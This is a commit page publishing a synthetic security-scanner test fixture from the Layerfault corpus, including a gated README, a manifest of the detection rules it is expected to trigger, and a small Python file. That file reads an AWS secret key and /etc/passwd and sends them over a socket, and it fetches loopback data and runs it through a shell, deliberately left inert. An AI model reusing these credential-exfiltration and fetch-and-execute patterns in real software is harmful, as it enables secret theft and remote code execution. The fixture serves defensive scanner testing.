Publish Layerfault synthetic corpus LF-CORPUS-PY-0002
Browse files- LAYERFAULT_CORPUS.json +21 -0
- README.md +57 -0
- SHA256SUMS.json +27 -0
- config.json +3 -0
- dataflow.py +21 -0
- model.safetensors +3 -0
LAYERFAULT_CORPUS.json
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"candidate_rules": [],
|
| 3 |
+
"corpus_id": "LF-CORPUS-PY-0002",
|
| 4 |
+
"description": "Python package with synthetic credential/file-to-network and network-to-process data flows.",
|
| 5 |
+
"expected_rules": [
|
| 6 |
+
"LF-PY-FLOW-CREDENTIAL-NETWORK",
|
| 7 |
+
"LF-PY-FLOW-FILE-NETWORK",
|
| 8 |
+
"LF-PY-FLOW-NETWORK-EXEC"
|
| 9 |
+
],
|
| 10 |
+
"generator": "packages.python_dataflow_chain",
|
| 11 |
+
"ground_truth": "synthetic-generated",
|
| 12 |
+
"must_not_rules": [],
|
| 13 |
+
"repo_name": "python-dataflow-capability-chain",
|
| 14 |
+
"repo_type": "model",
|
| 15 |
+
"safety": "inert/canary-only",
|
| 16 |
+
"schema": 1,
|
| 17 |
+
"validation": {
|
| 18 |
+
"kind": "verify-package",
|
| 19 |
+
"target": "."
|
| 20 |
+
}
|
| 21 |
+
}
|
README.md
ADDED
|
@@ -0,0 +1,57 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
license: apache-2.0
|
| 3 |
+
tags:
|
| 4 |
+
- layerfault
|
| 5 |
+
- security-research
|
| 6 |
+
- model-security
|
| 7 |
+
- synthetic
|
| 8 |
+
- adversarial-testing
|
| 9 |
+
extra_gated_prompt: >-
|
| 10 |
+
This repository is a synthetic security-test artifact from the Layerfault
|
| 11 |
+
corpus. It intentionally contains adversarial characteristics (e.g.
|
| 12 |
+
suspicious pickle opcodes, executable-format smuggling, prompt-injection
|
| 13 |
+
strings) designed to exercise security scanner detection rules. It is
|
| 14 |
+
**not** a usable ML model and must never be loaded or executed outside an
|
| 15 |
+
isolated scanner-testing environment. By accepting, you confirm you
|
| 16 |
+
understand this repository is a test fixture, not production model
|
| 17 |
+
weights.
|
| 18 |
+
extra_gated_button_content: I understand this is a security test fixture and accept the risk
|
| 19 |
+
gated: auto
|
| 20 |
+
---
|
| 21 |
+
|
| 22 |
+
# python-dataflow-capability-chain
|
| 23 |
+
|
| 24 |
+
> **SECURITY TEST ARTIFACT — DO NOT USE AS A PRODUCTION MODEL**
|
| 25 |
+
|
| 26 |
+
This repository is part of the Layerfault synthetic security corpus.
|
| 27 |
+
It is deliberately constructed to contain security-relevant characteristics for scanner testing.
|
| 28 |
+
|
| 29 |
+
**Corpus ID:** `LF-CORPUS-PY-0002`
|
| 30 |
+
|
| 31 |
+
## Purpose
|
| 32 |
+
|
| 33 |
+
Python package with synthetic credential/file-to-network and network-to-process data flows.
|
| 34 |
+
|
| 35 |
+
## Direct expected Layerfault rules
|
| 36 |
+
|
| 37 |
+
- `LF-PY-FLOW-CREDENTIAL-NETWORK`
|
| 38 |
+
- `LF-PY-FLOW-FILE-NETWORK`
|
| 39 |
+
- `LF-PY-FLOW-NETWORK-EXEC`
|
| 40 |
+
|
| 41 |
+
## Candidate rules
|
| 42 |
+
|
| 43 |
+
These are deliberately plausible targets that remain marked as candidates until the exact
|
| 44 |
+
Layerfault build used for certification confirms them.
|
| 45 |
+
|
| 46 |
+
- None
|
| 47 |
+
|
| 48 |
+
## Negative-control rules
|
| 49 |
+
|
| 50 |
+
These should remain silent for this corpus item.
|
| 51 |
+
|
| 52 |
+
- None
|
| 53 |
+
|
| 54 |
+
## Safety
|
| 55 |
+
|
| 56 |
+
The corpus uses fake secrets, loopback/`.invalid` network destinations, harmless marker output,
|
| 57 |
+
and synthetic model behavior only. It is intended for static scanning and isolated security testing.
|
SHA256SUMS.json
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
[
|
| 2 |
+
{
|
| 3 |
+
"path": "LAYERFAULT_CORPUS.json",
|
| 4 |
+
"sha256": "eaf8852e9bf3dcfe2dff002348c0359ef541fee5de210cd714fedd60d4bf0711",
|
| 5 |
+
"size": 609
|
| 6 |
+
},
|
| 7 |
+
{
|
| 8 |
+
"path": "README.md",
|
| 9 |
+
"sha256": "e69c8187615fec06f877f459cfe08eaa2393a763e5d0778d8f85bd4b5b35b836",
|
| 10 |
+
"size": 1772
|
| 11 |
+
},
|
| 12 |
+
{
|
| 13 |
+
"path": "config.json",
|
| 14 |
+
"sha256": "7f4d3cdb1f63fda322a525866d2c91b9caf41ec646d1ea7e257e8bfcd5ce8e64",
|
| 15 |
+
"size": 50
|
| 16 |
+
},
|
| 17 |
+
{
|
| 18 |
+
"path": "dataflow.py",
|
| 19 |
+
"sha256": "70f99768c92ee45785d229004352096de811f20dd4d5b11045cb7ab15cbd59e6",
|
| 20 |
+
"size": 583
|
| 21 |
+
},
|
| 22 |
+
{
|
| 23 |
+
"path": "model.safetensors",
|
| 24 |
+
"sha256": "a93e4b89dd8218d941be2b57882ed3185f71a7ebfc003548fd494aa8a795ca2f",
|
| 25 |
+
"size": 856
|
| 26 |
+
}
|
| 27 |
+
]
|
config.json
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"model_type": "layerfault_dataflow_fixture"
|
| 3 |
+
}
|
dataflow.py
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import os, socket, subprocess, urllib.request
|
| 2 |
+
|
| 3 |
+
def credential_to_network():
|
| 4 |
+
secret = os.environ.get("AWS_SECRET_ACCESS_KEY")
|
| 5 |
+
s = socket.socket()
|
| 6 |
+
try:
|
| 7 |
+
s.send(secret.encode() if secret else b"")
|
| 8 |
+
finally:
|
| 9 |
+
s.close()
|
| 10 |
+
|
| 11 |
+
def file_to_network():
|
| 12 |
+
data = open("/etc/passwd", "r", encoding="utf-8").read()
|
| 13 |
+
s = socket.socket()
|
| 14 |
+
try:
|
| 15 |
+
s.send(data.encode())
|
| 16 |
+
finally:
|
| 17 |
+
s.close()
|
| 18 |
+
|
| 19 |
+
def network_to_exec():
|
| 20 |
+
data = urllib.request.urlopen("http://127.0.0.1:9", timeout=0.01).read().decode()
|
| 21 |
+
subprocess.run(data, shell=True, check=False)
|
model.safetensors
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:a93e4b89dd8218d941be2b57882ed3185f71a7ebfc003548fd494aa8a795ca2f
|
| 3 |
+
size 856
|